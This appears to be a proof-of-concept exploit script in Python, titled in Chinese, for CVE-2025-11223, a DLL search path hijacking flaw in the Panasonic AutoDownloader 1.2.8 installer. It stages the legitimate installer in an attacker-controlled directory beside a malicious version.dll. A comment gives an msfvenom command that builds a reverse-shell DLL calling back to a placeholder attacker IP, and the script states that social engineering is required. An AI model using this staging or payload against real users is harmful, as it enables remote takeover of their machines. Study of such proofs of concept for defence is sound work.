CVE-2025-11223：Panasonic AutoDownloader DLL搜索路径劫持漏洞

# CVE-2025-11223 - Panasonic AutoDownloader DLL Search Path Hijacking PoC # This PoC demonstrates the DLL search path hijacking vulnerability # in Panasonic AutoDownloader installer version 1.2.8 import os import shutil # Step 1: Identify target DLLs that the installer attempts to load # Common DLLs that may be hijacked include: version.dll, wininet.dll, etc. TARGET_DLL = "version.dll" # Step 2: Create a malicious DLL using msfvenom or a custom C project # Example msfvenom command: # msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f dll -o version.dll def setup_attack_directory(installer_path, output_dir): """ Set up the attack directory by placing the malicious DLL alongside the legitimate installer executable. """ if not os.path.exists(installer_path): print(f"[ERROR] Installer not found: {installer_path}") return False # Create output directory if it doesn't exist os.makedirs(output_dir, exist_ok=True) # Copy the legitimate installer to the output directory installer_name = os.path.basename(installer_path) target_installer = os.path.join(output_dir, installer_name) shutil.copy2(installer_path, target_installer) print(f"[INFO] Installer copied to: {target_installer}") # Generate or place the malicious DLL in the same directory malicious_dll_path = os.path.join(output_dir, TARGET_DLL) # Note: The actual malicious DLL must be compiled separately # This is a placeholder - replace with actual malicious DLL generation print(f"[INFO] Place malicious DLL at: {malicious_dll_path}") print("[INFO] The malicious DLL should export the same functions as the legitimate one") return True def demonstrate_search_order(): """ Demonstrate the Windows DLL search order that leads to this vulnerability. Default search order: 1. The directory where the application loaded from 2. The system directory (C:\Windows\System32) 3. The 16-bit system directory 4. The Windows directory 5. The current working directory 6. Directories listed in the PATH environment variable """ search_order = [ "1. Application directory (highest priority - VULNERABLE)", "2. System directory (C:\\Windows\\System32)", "3. 16-bit system directory", "4. Windows directory (C:\\Windows)", "5. Current working directory", "6. PATH environment variable directories" ] print("=== Windows DLL Search Order ===") for step in search_order: print(step) print("\n[!] The installer loads DLLs from the application directory first,") print(" allowing an attacker to place a malicious DLL with the same name.") if __name__ == "__main__": print("=== CVE-2025-11223 PoC: DLL Search Path Hijacking ===") print("Target: Panasonic AutoDownloader v1.2.8 Installer\n") demonstrate_search_order() # Example usage: # setup_attack_directory("C:\\path\\to\\AutoDownloader_Setup.exe", "C:\\attack_dir") print("\n[NOTE] Social engineering is required to trick the user into") print(" running the installer from the attacker-controlled directory.")